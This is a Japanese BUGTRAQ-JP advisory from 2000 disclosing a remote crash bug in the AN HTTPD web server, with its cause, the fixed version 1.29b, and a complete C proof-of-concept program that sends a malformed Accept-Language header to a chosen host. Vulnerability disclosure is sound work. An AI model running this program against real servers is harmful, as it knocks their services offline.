Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Message-ID:  <018601bfdc77$a45de8a0$bd8afbd2@allnet.ne.jp>
Date:         Fri, 23 Jun 2000 03:28:20 +0900
Reply-To: Takanori Nejime <nejime@PAR.ALLNET.NE.JP>
Sender: BUGTRAQ-JP List <BUGTRAQ-JP@SECURITYFOCUS.COM>
From: Takanori Nejime <nejime@PAR.ALLNET.NE.JP>
Subject:      AN HTTPD SEVER DoS Vulnerability
To: BUGTRAQ-JP@SECURITYFOCUS.COM

はじめまして。

Windows95/98/NT用のフリーのHTTPサーバー ”AN HTTPD SEVER”  Version 1.29以前に、
リモートからのDoS攻撃の可能なバグを発見しました。

・検証

OS : Windows98 Second Edition

http://www.st.rim.or.jp/~nakata/
AN HTTPD Ver 1.28c/1.28d/1.29

いずれもHTTPDの異常終了を確認。

・再現方法

AN HTTPD がサービスを提供しているポート(通常は80)に、"Accept-Language:\r\r"(\rは改行コード)
を含むTCPパケットを送信する。

・原因

作者の中田 昭雄さんに問い合わせたところ

    HTTPヘッダのうち"Accept-Language:"だけ、他のヘッダとは別に読みこむようになっており、
    プログラム上のミスでこの行に '\n' がないとNULLポインタを参照するために、ページ違反で異常終了する。

という回答をいただきました。

・対策

6/20にリリースされた修正版 Ver1.29bをダウンロードする。
http://www.st.rim.or.jp/~nakata/

・検証用サンプルプログラム

以下はVC++4.0にて作成した検証用プログラムです。
動作確認は Windows 98 SecondEdition にて行いました。

/* AN HTTPD DoS Attack Program */

#include <stdio.h>
#include <string.h>
#include <winsock.h>

#define BUFSIZE  256
#define REQUEST  "Accept-Language:\r\r"

int main(int argc,char *argv[])
{

 WORD   wVersionRequested;
 WSADATA   wsaData;
 int    nErrorStatus;
 unsigned short port;
 int    soc;
 unsigned long serveraddr;
 struct   hostent *serverhostent;
 struct   sockaddr_in serversockaddr;
 char   sendbuf[BUFSIZE];

 if(argc != 3){
  printf("usage : %s TargetHost Port\n",argv[0]);
  return -1;
 }

 port = (unsigned short)atoi(argv[2]);

 wVersionRequested = MAKEWORD(1,1);
 nErrorStatus = WSAStartup(wVersionRequested, &wsaData);
 if(atexit((void (*)(void))(WSACleanup))){
  printf("Error: atexit(WSACleanup) faild.\n");
  return -1;
 }
 if(nErrorStatus != 0){
  printf("Error: WinSock Initialization failed.\n");
  return -1;
 }

 soc = socket(PF_INET,SOCK_STREAM,0);
 if(soc == INVALID_SOCKET){
  printf("Error: Can not create socket.\n");
  return -1;
 }

 serveraddr = inet_addr((char*)argv[1]);
 if(serveraddr == -1) {
  serverhostent = gethostbyname(argv[1]);
  if(serverhostent == NULL) {
   printf("Error: Can not resolve specified host.\n");
   closesocket(soc);
   return -1;
  }else{
   serveraddr = *((unsigned long *)((serverhostent->h_addr_list)[0]));
  }
 }

 serversockaddr.sin_family       = AF_INET;
 serversockaddr.sin_addr.s_addr  = serveraddr;
 serversockaddr.sin_port         = htons((unsigned short)port);
 memset(serversockaddr.sin_zero,(int)0,sizeof(serversockaddr.sin_zero));

 if(connect(soc,(struct sockaddr *)&serversockaddr,sizeof(serversockaddr)) == SOCKET_ERROR){
  printf("Error: Can not connect to specified host.\n");
  closesocket(soc);
  return -1;
 }

 sprintf(sendbuf,REQUEST);
 if(send(soc,sendbuf,strlen(sendbuf),0) == SOCKET_ERROR){
  printf("Error: Can not send data.\n");
  shutdown(soc,2);
  closesocket(soc);
  return -1;
 }

 shutdown(soc,2);
 closesocket(soc);

 printf("Done.\n");

 return 0;
}